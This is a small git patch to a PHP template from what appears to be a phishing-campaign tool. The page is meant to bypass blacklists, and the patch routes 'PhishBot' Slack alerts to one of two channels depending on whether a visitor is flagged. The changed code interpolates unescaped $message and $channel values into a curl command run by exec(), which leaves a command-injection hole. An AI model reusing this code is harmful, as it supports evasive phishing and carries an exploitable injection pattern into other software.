From f862f70660b713713e13fbe0a7f5ce064b7f9405 Mon Sep 17 00:00:00 2001 From: Curtis Brazzell Date: Wed, 10 Apr 2024 11:42:22 -0400 Subject: [PATCH] Update BlacklistBypassTemplate.php --- html/BlacklistBypassTemplate.php | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/html/BlacklistBypassTemplate.php b/html/BlacklistBypassTemplate.php index 7a41410..2ea15ee 100755 --- a/html/BlacklistBypassTemplate.php +++ b/html/BlacklistBypassTemplate.php @@ -84,7 +84,9 @@ } // Set Slack Information Here ************** MAKE SURE YOU SET THIS **************** -$cmd = 'curl -s -X POST --data-urlencode \'payload={"channel": "#general", "username": "PhishBot", "text": "'.$message.'", "icon_emoji": ":bell:"}\' https://hooks.slack.com/services/YOUR_SLACK_API_KEY_HERE'; +if($jedi == 1){$webhookurl = "https://hooks.slack.com/services/BLOCKED_CHANNEL_WEBHOOK_HERE";}else{$webhookurl = "https://hooks.slack.com/services/ALLOWED_CHANNEL_WEBHOOK_HERE";} + +$cmd = 'curl -s -X POST --data-urlencode \'payload={"channel": "'.$channel.'", "username": "PhishBot", "text": "'.$message.'", "icon_emoji": ":bell:"}\' '.$webhookurl; //echo $cmd; exec($cmd);